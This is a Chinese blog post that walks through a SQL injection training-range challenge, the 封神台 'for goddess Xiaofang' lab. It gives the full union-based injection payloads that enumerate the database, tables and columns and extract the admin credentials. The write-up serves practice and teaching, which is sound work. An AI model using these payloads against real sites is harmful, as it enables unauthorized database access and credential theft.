封神台靶场:第一章:为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】

 

提示:
通过sql注入拿到管理员密码!

尤里正在追女神小芳,在认识小芳开了一家公司后,尤里通过whois查询发现了小芳公司网站
学过一点黑客技术的他,想在女神面前炫炫技。于是他打开了

靶场直链

http://59.63.200.79:8003/
请求方式    GET  
闭合方式    未知
注入方式    联合,布尔,延时
注入代码  id=1 and 1=1

从下图可以看出,这里可能存在注入点。

 进行注入点测试

?id=1 and 1=1 #  页面正常显示
?id=1 and 1=2 #  页面显示不正常
?id=1 and sleep(5) #  页面存在明显延迟

我们采用简单方便的联合注入

用order by X对字段数进行测试,通过修改X的数量查看页面返回是否正常。
经测试,字段数为2

?id=1111 order by 2

我们采用联合查询union select判断数据输出时的显示位置。
?id=-1 union select 111,222

上面的语句,理论上可以,但在这里好像出了点问题,估计对id值做了一个简单的处理
我们采用宁外的构造语句
?id=1 and 1=2 union select 111,222

 我们直接爆出当前数据库maoshe

?id=1 and 1=2 union select 111,database()

爆表名

?id=1 and 1=2 union select 111,(select group_concat(table_name,"~") from information_schema.tables where table_schema='maoshe' )

爆字段名

?id=1 and 1=2 union select 111,(select group_concat(column_name,"~") from information_schema.columns where table_schema='maoshe' and table_name='admin' )

爆出数据

利用获得库名、表名、字段名爆出数据
?id=1 and 1=2 union select 111,(select group_concat(id,'~',username,'~',password,'~') from maoshe.admin)

账号  admin
密码  hellohack

 

 

 

posted @ 2020-11-14 20:23  xs123456789  阅读(2468)  评论(0编辑  收藏  举报